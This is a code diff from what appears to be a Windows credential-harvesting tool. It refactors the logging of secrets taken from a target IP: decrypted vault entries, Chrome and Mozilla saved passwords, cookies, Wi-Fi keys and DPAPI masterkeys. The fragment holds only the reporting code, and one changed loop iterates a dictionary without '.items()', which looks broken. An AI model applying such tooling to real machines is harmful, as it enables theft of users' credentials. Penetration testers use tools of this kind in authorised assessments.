- self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ResumeUserInfo for user {self.username} {bcolors.ENDC}")
- self.logging.debug(ex)
+ if status == 'decrypted':
+ for secret_file in file_status[status]:
+ try:
+ s_file = self.files[secret_file]
+ if secret_type == 'vault':
+ for vcrd_file in s_file['vcrd']:
+ if s_file['vcrd'][vcrd_file]['status'] == 'decrypted':
+ msg_log = f"[{self.options.target_ip}] Vault " \
+ f"{secret_file} - {vcrd_file} : " \
+ f"{s_file['vcrd'][vcrd_file]['secret']}"
+ self.logging.info(msg_log)
+ elif secret_type in ["ChromeLoginData", "MozillaLoginData"]:
+ for uri in s_file['secret']:
+ msg_log = f"[{self.options.target_ip}] Chrome {uri} - " \
+ f"{s_file['secret'][uri]['username']} : " \
+ f"{s_file['secret'][uri]['password']}"
+ self.logging.info(msg_log)
+ elif secret_type == "ChromeCookies":
+ for uri in s_file['secret']:
+ for cookie_name in s_file['secret'][uri]:
+ msg_log = f"[{self.options.target_ip}] Chrome {uri}" \
+ f" - {cookie_name} : " \
+ f"{s_file['secret'][uri][cookie_name]}"
+ self.logging.debug(msg_log)
+ elif secret_type == "wifi":
+ if secret_file in self.files:
+ msg_log = f"[{self.options.target_ip}] Wifi : " \
+ f"{s_file['wifi_name']} : {s_file['secret']}"
+ self.logging.info(msg_log)
+ else:
+ if secret_file in self.files: # For Credential & Wifi
+ msg_log = f"[{self.options.target_ip}] {secret_file} : " \
+ f"{s_file['secret']}"
+ self.logging.info(msg_log)
+ except OSError as ex:
+ msg_log = f"[{self.options.target_ip}] {bcolors.WARNING}Exception" \
+ f" in ResumeUserInfo for user {self.username} secret" \
+ f" file {secret_file} type {secret_type} {bcolors.ENDC}"
+ self.logging.debug(msg_log)
+ self.logging.debug(ex)
+ else:
+ for secret_file in file_status[status]:
+ msg_log = f"[{self.options.target_ip}] {secret_file} : " \
+ f"{self.files[secret_file]['path']}"
+ self.logging.debug(msg_log)
- def resume_secrets(self):
- self.logging.info(f"[{self.options.target_ip}] [*]User : {self.username} - {len(self.secrets)} secrets :")
- for secret in self.secrets:
- self.logging.info(f"[{self.options.target_ip}] [*]secret : {secret}")
- self.logging.info(f"[{self.options.target_ip}] {self.secrets[secret]}")
+ self.logging.debug(f"[{self.options.target_ip}] -=-=-=-= Masterkeys details =-=-=-=-")
- def get_secrets(self):
- return self.secrets
+ for masterkey, masterkey_content in self.masterkeys_file.items():
+ self.logging.debug(f"\t\t[*]GUID : {masterkey}")
+ self.logging.debug(f"\t\t[*]Status : {masterkey_content['status']}")
+ self.logging.debug(f"\t\t[*]path : {masterkey_content['path']}")
+ if masterkey_content['status'] == 'decrypted':
+ self.logging.debug(f"\t\t[*]key : {masterkey_content['key']}")
+ self.logging.debug("\t\t[*] -=- -=- -=- -=- -=- -=- [*]")
+ self.resume_secrets()
- def check_usertype(self):
- #Todo
- if self.sid =='':
- return 'DOMAIN'
- else :
- return 'LOCAL'
\ No newline at end of file
+ except OSError as ex:
+ msg_log = f"[{self.options.target_ip}] {bcolors.WARNING}Exception in " \
+ f"ResumeUserInfo for user {self.username} {bcolors.ENDC}"
+ self.logging.debug(msg_log)
+ self.logging.debug(ex)
+
+ def resume_secrets(self):
+ """Resume secrets."""
+ msg_log = f"[{self.options.target_ip}] [*]User : " \
+ f"{self.username} - {len(self.secrets)} secrets :"
+ self.logging.info(msg_log)
+ for secret, secret_content in self.secrets:
+ self.logging.info(f"[{self.options.target_ip}]\t[*]secret : {secret}")
+ self.logging.info(f"[{self.options.target_ip}]\t{secret_content}")
+
+ def get_secrets(self):
+ """Get secrets."""
+ return self.secrets
+
+ def check_usertype(self):
+ """Check user type."""
+ # TODO
+ if self.sid == '':
+ return 'DOMAIN'
+ else:
+ return 'LOCAL'